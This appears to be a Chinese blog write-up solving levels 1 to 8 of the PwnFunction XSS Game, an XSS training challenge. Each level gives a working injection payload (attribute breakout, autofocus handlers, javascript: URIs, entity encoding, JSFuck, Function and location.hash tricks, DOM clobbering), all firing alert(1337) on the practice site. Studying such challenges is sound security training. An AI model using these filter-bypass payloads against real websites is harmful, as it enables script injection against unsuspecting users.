当前位置: 首页 > news >正文

xss GAME (xss漏洞攻击1-8)

目录

xss网页链接

第一关

第二关

第三关

​编辑第四关

​编辑第五关

​编辑第六关

第七关

第一种 Function构建函数

第二种 tostring parseInt

第三种 silce()

​编辑第八关(安全过滤框架 dom破坏)


xss网页链接

XSS Game - Learning XSS Made Simple! | Created by PwnFunction

第一关

分析源码可知,没有任何过滤,那直接动手操作即可

而且有需求,不能有用户参与,而且必须弹窗1337

第二关

分析:innerText=ma 这个代码 将会把你输入的都将转换为文本

        那么思考一下 绕过双引号 即可

?jeff=a";alert(1337);"

        

第三关

过滤了一些字符 用聚焦解决

?wey=1"%20οnfοcus="alert(1337)"%20autofocus="ture

第四关

?ricardo=javascript:alert(1337)

有setTIMEout 输入进去等待几秒即可

第五关


js不支持编码符号 但是支持字符串
所以location 可以转换字符串

url编码 为实体编码 然后执行
 

?markassbrownlee=<svg%20οnlοad=alert%26%2340%3B1337%26%2341%3B>

第六关

过滤了英文字母 所以直接没办法用英文

jsfuck 这个可以让字母变成 ![] 

eval可以直接执行命令

JSFuck - Write any JavaScript with 6 Characters: []()!+

第七关

限制 0-50 所以上一关无法使用

有三种解法

第一种 Function构建函数

构建一个ALERT(1337)   source 是获取函数原码 toLowerCase() 获取小写 

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

第二种 tostring parseInt

首先得科普一下parseInt 

parseInt,是Javascript内置函数,原型为parseInt ( String s , [ int radix ] ),用于解析一个字符串,并返回一个整数。

tostring 将数字转回为字符串

那么问题来了为啥要 tostring(30) 而不是29 或者 28 呢 

alert 这个 t 必须到30进制才可以转换的到 例子:16进制最大是F 

?mafia=eval(9875141..toString(31))(1337)

第三种 silce()

锚点

location.hash 获取url#后面的值 我们通过切片将alert切出来 

?mafia=eval(location.hash.slice(1))#alert(1337)

第八关(安全过滤框架 dom破坏)

DOM破坏是一种将HTML注入页面以操纵DOM并最终改变页面上JavaScript行为的技术。

就是修改他原来的参数,进行覆盖,最后误以为是正确的

分析源码可知 ok 我们可以覆盖 

我们可以得到两种标签对象: HTMLAreaElement (<area>) & HTMLAnchorElement (<a>) ,这两个
标签对象我们都可以利⽤ href 属性来进⾏字符串转换。
我这里使用a标签

?boomer=<a%20id=ok%20href=tel:alert(1337)>

?boomer=<a%20id=ok%20href=cid:alert(1337)>

这里用到了白名单 tel cid  因为javascript 不可以使用 

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 一套完整的NVR方案与部分NVR录像机GUI源码剖析
  • HTTPS 详解
  • 内网安全:跨域攻击
  • CVE-2024-34982 LyLme Spage六零导航页 任意文件上传漏洞漏洞分析
  • 【初阶数据结构题目】34. 冒泡排序
  • 【LeetCode】433.最小基因变化
  • Git 命令常用
  • linux之prometheus+grafana
  • 报错解决——苹果电脑mac装windows10,总是提示“启动转换”安装失败:拷贝Windows安装文件时出错
  • Linux | Linux进程万字全解:内核原理、进程状态转换、优先级调度策略与环境变量
  • 【网络】UDP回显服务器和客户端的构造,以及连接流程
  • 保研考研机试攻略:第四章——高精度问题
  • Qt如何调取打印机
  • 关于xilinx的FFTIP的使用和仿真
  • JAVA面试汇总
  • IE9 : DOM Exception: INVALID_CHARACTER_ERR (5)
  • 《Java8实战》-第四章读书笔记(引入流Stream)
  • 【每日笔记】【Go学习笔记】2019-01-10 codis proxy处理流程
  • 【跃迁之路】【444天】程序员高效学习方法论探索系列(实验阶段201-2018.04.25)...
  • iOS帅气加载动画、通知视图、红包助手、引导页、导航栏、朋友圈、小游戏等效果源码...
  • jQuery(一)
  • Js基础知识(四) - js运行原理与机制
  • nginx 配置多 域名 + 多 https
  • Python语法速览与机器学习开发环境搭建
  • weex踩坑之旅第一弹 ~ 搭建具有入口文件的weex脚手架
  • Yeoman_Bower_Grunt
  • 翻译:Hystrix - How To Use
  • 给初学者:JavaScript 中数组操作注意点
  • 基于HAProxy的高性能缓存服务器nuster
  • 猫头鹰的深夜翻译:JDK9 NotNullOrElse方法
  • 前端技术周刊 2018-12-10:前端自动化测试
  • 一道闭包题引发的思考
  • 与 ConTeXt MkIV 官方文档的接驳
  • 第二十章:异步和文件I/O.(二十三)
  • ​LeetCode解法汇总1410. HTML 实体解析器
  • (1)安装hadoop之虚拟机准备(配置IP与主机名)
  • (14)学习笔记:动手深度学习(Pytorch神经网络基础)
  • (ZT)出版业改革:该死的死,该生的生
  • (二)十分简易快速 自己训练样本 opencv级联lbp分类器 车牌识别
  • (翻译)Quartz官方教程——第一课:Quartz入门
  • (附源码)springboot猪场管理系统 毕业设计 160901
  • (官网安装) 基于CentOS 7安装MangoDB和MangoDB Shell
  • (回溯) LeetCode 77. 组合
  • (佳作)两轮平衡小车(原理图、PCB、程序源码、BOM等)
  • (论文阅读26/100)Weakly-supervised learning with convolutional neural networks
  • (南京观海微电子)——I3C协议介绍
  • (十六)一篇文章学会Java的常用API
  • (数据大屏)(Hadoop)基于SSM框架的学院校友管理系统的设计与实现+文档
  • **登录+JWT+异常处理+拦截器+ThreadLocal-开发思想与代码实现**
  • .bat批处理(十一):替换字符串中包含百分号%的子串
  • .net 4.0发布后不能正常显示图片问题
  • .NET Core 控制台程序读 appsettings.json 、注依赖、配日志、设 IOptions
  • .net core 控制台应用程序读取配置文件app.config
  • .NET 使用 ILMerge 合并多个程序集,避免引入额外的依赖
  • .NET(C#、VB)APP开发——Smobiler平台控件介绍:Bluetooth组件